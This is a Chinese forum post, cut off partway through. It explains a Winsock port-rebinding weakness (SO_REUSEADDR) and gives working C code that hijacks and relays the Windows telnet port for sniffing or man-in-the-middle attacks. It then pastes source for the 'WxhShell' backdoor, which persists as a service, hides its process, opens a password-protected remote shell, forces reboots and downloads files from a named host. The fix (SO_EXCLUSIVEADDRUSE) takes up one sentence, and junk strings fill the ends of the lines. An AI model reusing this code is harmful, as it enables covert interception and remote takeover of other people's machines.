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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e;VIL 2|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }T.?c9l X  
?WpenUWk  
  saddr.sin_family = AF_INET; )R?;M  
h2w}wsb0l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); C4\,z\Q  
9o0!m Cq  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $bsH$N#6T  
{G3i0 r  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rNlW7 Y  
y'} O)lO1  
  这意味着什么?意味着可以进行如下的攻击: T9syo/(  
3s*(uS(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {6G?[ `&ca  
'O?~p55T  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o' 'wCr%  
iY0>lDFm.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 aWy]9F&C:  
wX,F`e3"/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;%Hf)F  
?La Ued'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G7@ O`N8'  
&:5\"b  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tX%`#hb?s  
rwE%G>Vb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =IjQ40W  
z@Hp,|Vy[  
  #include -#s [F S  
  #include j_cs;G: "  
  #include cz/Q/%j$/  
  #include    z[EFQ^*>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jrMe G.e=D  
  int main() :+rUBYWx  
  { O+~ 7l?o  
  WORD wVersionRequested; P"_$uO(5x  
  DWORD ret; =ll=)"O  
  WSADATA wsaData; qO@@8/l  
  BOOL val; ~9\zWRh  
  SOCKADDR_IN saddr; r0]4=6U  
  SOCKADDR_IN scaddr; Kw5Lhc1V  
  int err; # 1.YKo  
  SOCKET s; )G1P^WV4  
  SOCKET sc; nFRsc'VT  
  int caddsize; beXNrf=bG  
  HANDLE mt; sJG5/w  
  DWORD tid;   NbRn*nb/T  
  wVersionRequested = MAKEWORD( 2, 2 ); *G5c|Y  
  err = WSAStartup( wVersionRequested, &wsaData ); 1.U`D\7mb  
  if ( err != 0 ) { c#/H:?q?a  
  printf("error!WSAStartup failed!\n"); E=]4ctK  
  return -1; ut2~rRiK  
  } M@Q3M(z  
  saddr.sin_family = AF_INET; YDC&u8  
   ZD>a>]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 TX [%(ft  
q MYe{{r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8, "yNq  
  saddr.sin_port = htons(23); Q{g;J`Z)p  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Tr&M~Lgb)  
  { {aYY85j  
  printf("error!socket failed!\n"); SHVWwoieT  
  return -1; ;gg\;i}^  
  } _-TA{21)  
  val = TRUE; BB$oq'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?sz)J 3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) dt}_D={Be  
  { Zw1U@5}A  
  printf("error!setsockopt failed!\n"); M]]pTU((  
  return -1; #/2$+x  
  } t2HJsMX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; XFVV},V  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lj=l4 &.i  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *l&S-=]  
5Por "&%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]b/S6oc6  
  { m!tx(XsXU  
  ret=GetLastError(); Z3TS,a1I4  
  printf("error!bind failed!\n"); Ev"|FTI/  
  return -1; \55VqGyxu9  
  } <^?1uzxH8A  
  listen(s,2); \!]hU%Un  
  while(1) kX`[Y@nUN  
  { j=?'4sF  
  caddsize = sizeof(scaddr); SMH<'F7i  
  //接受连接请求 ao_4mSB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jnB~sbyA  
  if(sc!=INVALID_SOCKET) KJ2Pb"s  
  { WI> P-D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `o]g~AKX  
  if(mt==NULL) C'yppl%  
  { nrm+z"7  
  printf("Thread Creat Failed!\n"); q#w8wH"  
  break; 39wa|:I  
  } Vwk#qgnX  
  } %UUH"  
  CloseHandle(mt); B.r4$:+jb2  
  } Ian[LbCWB  
  closesocket(s); QqNW}: #  
  WSACleanup(); 66x?A0P  
  return 0; $$APgj"|<  
  }   HB+|WW t>  
  DWORD WINAPI ClientThread(LPVOID lpParam) _A13[Mt3  
  { xL|;VyD  
  SOCKET ss = (SOCKET)lpParam; S"Lx%  
  SOCKET sc; NA3 \  
  unsigned char buf[4096]; osARA3\Xt  
  SOCKADDR_IN saddr; tZ`Ts}\e  
  long num; xv{O^Ie+S  
  DWORD val; Yim<>. !  
  DWORD ret; >_OYhgs1w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7 >iU1zy  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   g V5zSudW  
  saddr.sin_family = AF_INET; E%oY7.~-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  j~j jX  
  saddr.sin_port = htons(23); -=s(l.?Hm5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e:H26SW  
  { tCxF~L@  
  printf("error!socket failed!\n"); p G1WXbqW  
  return -1; m,C1J%{^  
  } lif&@o f  
  val = 100; F  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WE]e m >  
  { v>z tB,,9  
  ret = GetLastError(); akw,P$i  
  return -1; 3 rLTF\  
  } `w I/0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !Z VU,b>  
  { )i+2X5B`S  
  ret = GetLastError(); ~{sG| ;/!*  
  return -1; !EUan  
  } lj+u@Z<xA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W>-Et7&2  
  {  w 4[{2  
  printf("error!socket connect failed!\n"); oh# \]c\f  
  closesocket(sc); 4DZ-bt'  
  closesocket(ss); *5w{8  
  return -1; 4_Dp+^JF  
  } ()&~@1U  
  while(1) ^B8b%'\  
  { CLvX!O(~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l Va &"   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r.7$&BCng  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 rZ8`sIWQt  
  num = recv(ss,buf,4096,0); ODZ|bN0>  
  if(num>0) W9NX=gE4  
  send(sc,buf,num,0); lHgs;>U$  
  else if(num==0) Xpzfm7CB/  
  break; cGjPxG;  
  num = recv(sc,buf,4096,0); McB[|PmC  
  if(num>0) 8@so"d2e  
  send(ss,buf,num,0); y;/VB,4V  
  else if(num==0) Zd"^</ S  
  break; jKt7M>P  
  } l;o1 d-n]  
  closesocket(ss); (#+^&1  
  closesocket(sc); 2eMTxwt*S  
  return 0 ; jLg9H/w{  
  } A}eOFu`  
mI74x3 [  
.^B*e6DAD  
========================================================== oudxm[/U  
lNSLs"x^  
下边附上一个代码,,WXhSHELL ,VO2a mI  
8WnwQ%;m?  
========================================================== L3CP`cx  
ZP{*.]Qu  
#include "stdafx.h" '7O3/GDK  
vVOh3{e|  
#include <stdio.h> 13taFV dU  
#include <string.h> $ X q!L  
#include <windows.h> 1GzAG;UUo6  
#include <winsock2.h> Xh56T^,2  
#include <winsvc.h> T=ev[ mS  
#include <urlmon.h> x7O-Y~[2  
2}8v(%s p  
#pragma comment (lib, "Ws2_32.lib") |\pbir  
#pragma comment (lib, "urlmon.lib") #U14-^7  
3Z1CWzq(  
#define MAX_USER   100 // 最大客户端连接数 s{1sE)_  
#define BUF_SOCK   200 // sock buffer `V##Y  
#define KEY_BUFF   255 // 输入 buffer .V,@k7U,V  
FSND>\>  
#define REBOOT     0   // 重启 p, #o<W  
#define SHUTDOWN   1   // 关机 ob8qe,_'  
4:FK;~wM&x  
#define DEF_PORT   5000 // 监听端口 ;+"+3  
\ Yx/(e  
#define REG_LEN     16   // 注册表键长度 %7|9sQ:  
#define SVC_LEN     80   // NT服务名长度 `nu''B H  
Ofs <EQ  
// 从dll定义API $< JaLS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }}59V&'t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4 r45i:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A}l3cP; `#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dkz=CY3p%X  
q.;u?,|E/  
// wxhshell配置信息 79;<_(Y  
struct WSCFG { %^jMj2  
  int ws_port;         // 监听端口 @{2 5xTt  
  char ws_passstr[REG_LEN]; // 口令 JD|=>)  
  int ws_autoins;       // 安装标记, 1=yes 0=no uA< n  
  char ws_regname[REG_LEN]; // 注册表键名 RCpR3iC2  
  char ws_svcname[REG_LEN]; // 服务名 jnn}V~L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W)bLSL]`E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `EaLGzw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7j-4TY~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {tWf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^~etm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ')cMiX\v  
P5UL4uyl  
}; :.Wr{"`  
{z{bY\  
// default Wxhshell configuration yK=cZw%D  
struct WSCFG wscfg={DEF_PORT, A*\.NTM  
    "xuhuanlingzhe", 5?x>9C a  
    1, (JOgy .5C~  
    "Wxhshell", r8RoE`/T  
    "Wxhshell", ,>%}B3O:Y=  
            "WxhShell Service", #pnI\  
    "Wrsky Windows CmdShell Service", )P sY($ &  
    "Please Input Your Password: ", NPp;78O0[  
  1, lN Yt`xp  
  "http://www.wrsky.com/wxhshell.exe", @u6B;)'l  
  "Wxhshell.exe" p;>ec:z3M  
    }; ZpQ)IHA.  
) AvN\sC  
// 消息定义模块 eceP0x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {ttysQ-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MDnua  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <<][hQs  
char *msg_ws_ext="\n\rExit."; [<@.eH$hU/  
char *msg_ws_end="\n\rQuit."; asppRL||  
char *msg_ws_boot="\n\rReboot..."; Hx?;fl'G%  
char *msg_ws_poff="\n\rShutdown..."; X aMJDa|M  
char *msg_ws_down="\n\rSave to "; e w$ B)W  
g,!L$,/F  
char *msg_ws_err="\n\rErr!"; ?Lk)gO^C  
char *msg_ws_ok="\n\rOK!"; \"P%`  C  
V2wb%;q  
char ExeFile[MAX_PATH]; M/"I2m   
int nUser = 0; s Z].8.  
HANDLE handles[MAX_USER]; ?67Y-\}  
int OsIsNt; 9sYMSc~Bm  
z7fp#>uw  
SERVICE_STATUS       serviceStatus; Yi.N&&o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #Lh;CSS  
*nkoPVpC  
// 函数声明 $Nhs1st*8  
int Install(void); inMA:x}cF1  
int Uninstall(void); nksLWfpG?B  
int DownloadFile(char *sURL, SOCKET wsh); -(;26\lE  
int Boot(int flag); KW pVw!  
void HideProc(void); <h0?tv]  
int GetOsVer(void); Rl?_^dPx  
int Wxhshell(SOCKET wsl); f.KN-f8<F  
void TalkWithClient(void *cs); YJT&{jYi  
int CmdShell(SOCKET sock); L>Fa^jq5  
int StartFromService(void); w;4<h8Wn5  
int StartWxhshell(LPSTR lpCmdLine); 4V)kx[j  
#lL^?|M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .SU8)T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,is3&9  
rZ}:Z'`  
// 数据结构和表定义 X^wt3<Kbf  
SERVICE_TABLE_ENTRY DispatchTable[] = 2} /aFR  
{ a%JuC2  
{wscfg.ws_svcname, NTServiceMain}, f<d`B]$(  
{NULL, NULL} / *#r`A  
}; - M4J JV(  
dO! kk"qn  
// 自我安装 ^BikV  
int Install(void) *av<E  
{ hj*pTuym  
  char svExeFile[MAX_PATH]; %K=?@M9i  
  HKEY key; <lPm1/8  
  strcpy(svExeFile,ExeFile); *v!9MU9[(  
BYL)nCc  
// 如果是win9x系统,修改注册表设为自启动 /T0F"e)Ci  
if(!OsIsNt) { 1Y\DJ@lh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ) j#`r/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4DI8s4fi  
  RegCloseKey(key); 2*;~S4 4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H)kwQRfu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9<6;Hr,>G  
  RegCloseKey(key); P64PPbP  
  return 0; _Xe>V0   
    } un mJbY;t  
  } O:;w3u7;u  
} c_$=-Khk  
else { -P$PAg5"2  
'uS n}hm  
// 如果是NT以上系统,安装为系统服务 )l C)@H}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O`IQ(,yef  
if (schSCManager!=0) 'T*&'RQr  
{  dVtG/0  
  SC_HANDLE schService = CreateService pZ.ecZe/  
  ( NvceYKp:  
  schSCManager, S6Q  
  wscfg.ws_svcname, -">;-3,K  
  wscfg.ws_svcdisp, u5`u>.!  
  SERVICE_ALL_ACCESS, -:+|zF@f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6jD=F ^jw  
  SERVICE_AUTO_START, r= `Jn6@  
  SERVICE_ERROR_NORMAL, oGnSPI5KGC  
  svExeFile, w e//|fA<  
  NULL, cJ= 6r :  
  NULL, $f <(NM6?  
  NULL, ]nn98y+  
  NULL, %D{6[8  
  NULL i &nSh ]KK  
  ); ]g3JZF-  
  if (schService!=0) BO?%'\  
  { zZPO&akB"  
  CloseServiceHandle(schService); nV|EQs4(  
  CloseServiceHandle(schSCManager); mp1@|*Sn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Uiw2oi&_  
  strcat(svExeFile,wscfg.ws_svcname); HAdg/3Hw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?=sDM& '  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :%=Xm   
  RegCloseKey(key); @Md/Q~>  
  return 0; yLvDMPj  
    } <`=j^LU  
  } UERLtSQ  
  CloseServiceHandle(schSCManager); JX;<F~{.  
} 0*3R=7_},o  
} gh]cXuph  
ZPLm]I\]  
return 1; AofKw  
} I5 p ? [  
R`qFg/S  
// 自我卸载 Qz1E 2yJ  
int Uninstall(void) pI\]6U  
{ UcHJR"M~c  
  HKEY key;  R B  
|mfvr *7  
if(!OsIsNt) { -$ls(oot  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3qC}0CP*  
  RegDeleteValue(key,wscfg.ws_regname); Gx/Oi)&/  
  RegCloseKey(key); >y7?-*0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~,Zc%s~|  
  RegDeleteValue(key,wscfg.ws_regname); +Mb.:_7'  
  RegCloseKey(key); dFB]~QEK  
  return 0; GR_-9}jQP  
  } `4J$Et%S  
} l ukB8  
} m=:9+z  
else { ?dg [:1R}  
Se}c[|8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zY{A'<\O  
if (schSCManager!=0) jvL[ JI,b  
{ Ynj,pl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =&]g "a'  
  if (schService!=0) rglXs  
  { U?Zq6_M&  
  if(DeleteService(schService)!=0) { 6<QQ@5_  
  CloseServiceHandle(schService); @Cyvf5|bL  
  CloseServiceHandle(schSCManager); 4xje$/_d  
  return 0; WSB 0~+  
  } sY&IquK^  
  CloseServiceHandle(schService); B~ GbF*j  
  } .*Y  
  CloseServiceHandle(schSCManager); *i%.;Z"  
} 5|s\* bV`  
} kbQ>a5`,x  
#=A)XlZMd  
return 1; LL~%f &_  
} *] ) `z8Ox  
vpr.Hn  
// 从指定url下载文件 uo 8YP<q  
int DownloadFile(char *sURL, SOCKET wsh) jV1.Yz (`  
{ EV%gF   
  HRESULT hr; R&k<AZ  
char seps[]= "/"; \Gvm9M  
char *token; 8Fu(Ft^9  
char *file; .Yn_*L+4*  
char myURL[MAX_PATH];  eq;uO6[  
char myFILE[MAX_PATH]; }&J q}j  
{4Cmu;u  
strcpy(myURL,sURL); FvjPdN/L?R  
  token=strtok(myURL,seps); dR,fXQm  
  while(token!=NULL) 7R\<inCQ  
  { @RKryY)  
    file=token; z Rr*7G  
  token=strtok(NULL,seps); |)v,2  
  } ]{@-HTt  
( Erc3Ac8  
GetCurrentDirectory(MAX_PATH,myFILE); S2&4g/  
strcat(myFILE, "\\"); + =</&Tm  
strcat(myFILE, file); pl?`8@dI  
  send(wsh,myFILE,strlen(myFILE),0); ?CPahU  
send(wsh,"...",3,0); bROLOf4S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9W2Vo [(  
  if(hr==S_OK)  x'<X!gw  
return 0; 3XV/Fb}!(i  
else )3EY;  
return 1; ;HO=  
.#8 JCY  
} /y}xX  
9rf)gU3{+L  
// 系统电源模块 8<Av@9 *}  
int Boot(int flag) )Ql%r?(F+  
{ Vt#.eL)Ee  
  HANDLE hToken; e(t\g^X  
  TOKEN_PRIVILEGES tkp; E:nF$#<'N  
NC(~l  
  if(OsIsNt) { zQd 2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 64tvP^kp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k5pN  
    tkp.PrivilegeCount = 1; x7[BK_SY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UP,c|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %7+qnH*;r  
if(flag==REBOOT) { zK@@p+n_#.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HG^'I+Yn  
  return 0; vXje^>_6  
} `b$.%S8uj=  
else { !+v$)3u9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2BwO!Y[  
  return 0; SwMc pNo  
} |CRn c:  
  } *$g-:ILRuZ  
  else { +CNv l  
if(flag==REBOOT) { ( a#BV}=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v.qrz"98-  
  return 0; &tj!*k'  
} 4.t-i5  
else { ^ [@ ,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ysv" 6b}  
  return 0; ew4U)2J+  
} Gk6iIK  
} >z@0.pN]7  
ZJiG!+-j  
return 1; S)@j6(HC4  
} G4"F+%.  
jmZI7?<z  
// win9x进程隐藏模块 IH+|}z4N?>  
void HideProc(void) UkFC~17P  
{ Z,PPu&lmE/  
nqUV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Zj'9rXhrM1  
  if ( hKernel != NULL ) m)v &v6  
  { 'm$L Ij?@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DN6Mo<H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #%O0[kd  
    FreeLibrary(hKernel); l.M0`Cn-%  
  } Iu=(qU  
c-sfg>0^  
return; 5Gm_\kd  
} c7H^$_^=  
[Y`W  
// 获取操作系统版本 ]7A'7p $Y  
int GetOsVer(void) < =IFcN  
{ 7b+6%fV  
  OSVERSIONINFO winfo; ?}Y]|c^W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oQJtUP%  
  GetVersionEx(&winfo); pd$[8Rmj_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _lq`a\7e  
  return 1; Tw<q,O  
  else 1< ?4\?j  
  return 0; x kD6Iw  
} n+M<\  
6ik$B   
// 客户端句柄模块 '~ 47)fN  
int Wxhshell(SOCKET wsl) .T`%tJ-Em  
{ E2-\]?\F(  
  SOCKET wsh; 1_G^w qk  
  struct sockaddr_in client; ) )Za&S*<  
  DWORD myID; r<$y= B  
M"L=L5OH-  
  while(nUser<MAX_USER) }x ,S%M-  
{ /yZcDK4  
  int nSize=sizeof(client); 1|:KQl2q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;n;p@Uu[ b  
  if(wsh==INVALID_SOCKET) return 1; Q/Rqa5LI:  
h{qgEIk&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +b 6v!7_  
if(handles[nUser]==0) yB!dp;gM{  
  closesocket(wsh); x4O~q0>:Le  
else /x *3}oI  
  nUser++; \w8\1~#  
  } 7d\QB (~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K (|}dl:  
@O~pV`_tD  
  return 0; l U]nd[x  
} R.3q0yZ wF  
cWm$;`Q#\  
// 关闭 socket # f\rt   
void CloseIt(SOCKET wsh) FP>2C9:d  
{ n=q 76W\  
closesocket(wsh); 0n'_{\yz  
nUser--; cZ3v=ke^  
ExitThread(0); -G=]=f/'  
} fV~[;e;U.  
~VB1OLgv#.  
// 客户端请求句柄 Dt1jW  
void TalkWithClient(void *cs) 4I[P>  
{ J .%IfN  
\{D" !e  
  SOCKET wsh=(SOCKET)cs; bI`g|v  
  char pwd[SVC_LEN]; ),!qTjD  
  char cmd[KEY_BUFF]; 6S{l' !s'  
char chr[1];  Fk;Rfqq  
int i,j; ugBCBr  
_e2=ado  
  while (nUser < MAX_USER) { 'N(R_q6MW  
G+m }MOQP7  
if(wscfg.ws_passstr) { MqMQtU9w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z(~_AN M4,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E*lxVua  
  //ZeroMemory(pwd,KEY_BUFF); moE2G?R  
      i=0; eJX#@`K  
  while(i<SVC_LEN) { ji= "DYtL  
R@2X3s:  
  // 设置超时 A=>u 1h69  
  fd_set FdRead; '<uq3?5  
  struct timeval TimeOut; X wtqi@zlE  
  FD_ZERO(&FdRead); jiC>d@~y  
  FD_SET(wsh,&FdRead); v` r:=K  
  TimeOut.tv_sec=8; phz&zl D  
  TimeOut.tv_usec=0; |l!aB(NW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }GIt!PG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {c0`Um3&>  
4Po_-4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ea=P2:3*  
  pwd=chr[0]; 2t,zLwBdnJ  
  if(chr[0]==0xd || chr[0]==0xa) { ,"ql5Q4  
  pwd=0; cc3 4e  
  break; *lb<$E]="!  
  } >-c8q]()ly  
  i++; K,UMqAmk  
    } F:ELPs4"  
&c #N)U  
  // 如果是非法用户,关闭 socket T]$U""  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #A.@i+Zv  
} :gC#hmm^  
BJ0?kX@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %|4UsWZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 048kPXm`  
XX~,>Q}H=  
while(1) { M^I(OuRMeI  
wyG;8I  
  ZeroMemory(cmd,KEY_BUFF); :Tq~8!s  
[ /ZO q  
      // 自动支持客户端 telnet标准   :hA#m[  
  j=0; ~)'k 9?0  
  while(j<KEY_BUFF) { Q@HV- (A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c[e}w+ uB  
  cmd[j]=chr[0]; 1:wQ.T  
  if(chr[0]==0xa || chr[0]==0xd) { tnIX:6  
  cmd[j]=0; |cY`x(?yP  
  break; %>s |j'{  
  } p 4)Q&k!  
  j++; wNX]7wMX  
    } =w^M{W.w  
 S[QrS 7  
  // 下载文件 I 2DpRMy  
  if(strstr(cmd,"http://")) { J8~haim  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9>$p  
  if(DownloadFile(cmd,wsh)) -Qe Z#w|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y?!"6t7&  
  else Q=:|R3U/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hzC>~Ub5  
  } PRT +mT  
  else { Aa]"   
t:c.LFrF  
    switch(cmd[0]) { -.3w^D"l  
  @|)Z"m7  
  // 帮助 L8n|m!MOD  
  case '?': { qY#6SO`_iy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~_ a-E  
    break; 5:U so{  
  } Qci]i)s$js  
  // 安装 -{_PuJ "  
  case 'i': { =":,.Ttq41  
    if(Install()) 3mni>*q7d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sx\]!B@DSu  
    else h.fq,em+H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,2)6s\]/b  
    break; !VK|u8i  
    } )_NO4`ejs/  
  // 卸载 }&3 ~|kP~O  
  case 'r': { q,6DEz  
    if(Uninstall()) P }uOJVQ_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -%dCw6aX+  
    else {_dvx*M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A(0lM`X  
    break; fn!KQ`,#  
    } _tXlF;  
  // 显示 wxhshell 所在路径 %%wNZ{  
  case 'p': { *9i{,I@  
    char svExeFile[MAX_PATH]; ]s748+  
    strcpy(svExeFile,"\n\r"); v.ui!|c  
      strcat(svExeFile,ExeFile); jA/w|\d!  
        send(wsh,svExeFile,strlen(svExeFile),0); 1i ] ^{;]  
    break; bJ;'`sw1  
    } 8x{'@WCG%  
  // 重启  7[wieYj{  
  case 'b': { 8sCv]|cn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o8vug$=Z  
    if(Boot(REBOOT)) xP,hTE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zv"Z DRW  
    else { Qw)c$93  
    closesocket(wsh); "wHFN>5B  
    ExitThread(0); eR"<33{  
    } 9&ids!W~yx  
    break; kSh( u  
    } *WT`o>  
  // 关机 fd2T=fz-  
  case 'd': { &8 x-o,  
